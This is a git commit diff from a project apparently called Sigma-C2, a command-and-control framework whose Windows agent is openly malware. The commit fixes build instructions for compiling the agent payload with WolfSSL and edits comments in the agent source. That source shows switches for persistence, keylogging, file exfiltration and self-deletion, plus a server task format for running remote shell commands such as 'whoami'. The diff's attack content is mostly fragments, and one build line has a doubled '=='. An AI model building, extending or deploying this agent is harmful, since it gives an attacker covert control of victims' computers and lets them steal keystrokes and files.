Correct installtion instructions in Readme, edited some comments

This commit is contained in:
Pavlo Khazov
2025-03-15 12:47:55 +01:00
parent b36c45d700
commit 67586891d6
5 changed files with 11 additions and 14 deletions

2
.gitignore vendored
View File

@@ -1,7 +1,7 @@
.vscode
certificates/*
agent/obj
agent/lib/wolfssl-5.7.4-compiled
agent/lib/*
agent/agent_cert.h
agent/agent_key.h
agent/ca_cert.h

View File

@@ -63,15 +63,13 @@ Quickstart on localhost using ready scripts:
### 🔹 **Compiling WolfSSL for MinGW**
Before generating the agent payload, you must compile WolfSSL for MinGW:
Before generating the agent payload, you must compile WolfSSL for MinGW and put in correct folder:
```sh
wget https://github.com/wolfSSL/wolfssl/releases/download/v5.7.6-stable/wolfssl-5.7.6-stable.tar.gz.asc
tar -xvzf wolfssl-5.7.6-stable.tar.gz
cd agent/lib/wolfssl-5.7.6
./configure --host=x86_64-w64-mingw32 --enable-static
cd wolfssl-5.7.6
./configure --host=x86_64-w64-mingw32 --enable-static --prefix==.../Sigma-C2/agent/lib/wolfssl-5.7.6-compiled
make
make install DESTDIR=../wolfssl-5.7.6-compiled
make install
```
After compilation, the **compiled library** should be located in:

View File

@@ -5,7 +5,7 @@
#include "modules.h"
#include "persistence.h"
#include <shellapi.h> // Add this for ShellExecute
#include <shellapi.h> // For ShellExecute
// Prototype it because I hate C
void ReceiveResponse(WOLFSSL* ssl);
@@ -20,11 +20,11 @@ unsigned short int domainCount = sizeof(serverDomains) / sizeof(serverDomains[0]
// Server port
unsigned short int SERVER_PORT = 123456789;
// Start funcs up
// Startup funcs
#define AUTO_PERSISTENCE FALSE
#define AUTO_KEYLOGGER FALSE
#define AUTO_FILES FALSE
#define CLEANUP_METHOD FALSE
#define CLEANUP_METHOD FALSE // TRUE = bat, FALSE = cmd
// Delays for reconnection, keyloger and files transfer
int reconnectDelay = 5000;
@@ -191,11 +191,10 @@ void Cleanup() {
#endif
#endif
#ifdef CLEANUP_METHOD
#if CLEANUP_METHOD == FALSE
// Self deleteusing cmd in new thread
// Self delete using cmd in new thread
void Cleanup() {
RemovePersistence();
@@ -289,7 +288,7 @@ void ReceiveResponse(WOLFSSL *ssl) {
buffer[bytesReceived] = '\0';
printf("Message from server: %s\n", buffer);
// Examples
// Example of message format
// TASK~shell~whoami /upn
// Check if there is a task to do

View File

@@ -4,7 +4,7 @@
#include <windows.h>
#include <iphlpapi.h>
#define SYSINFO_METHOD_REGISTRY TRUE
#define SYSINFO_METHOD_REGISTRY TRUE // TRUE = use registry method, FALSE = use systeminfo cmd
void CollectSystemInfo(char *osVersion, char *architecture, char *hostname, char *username, char *localIP) {

0
generate_certs.sh Normal file → Executable file
View File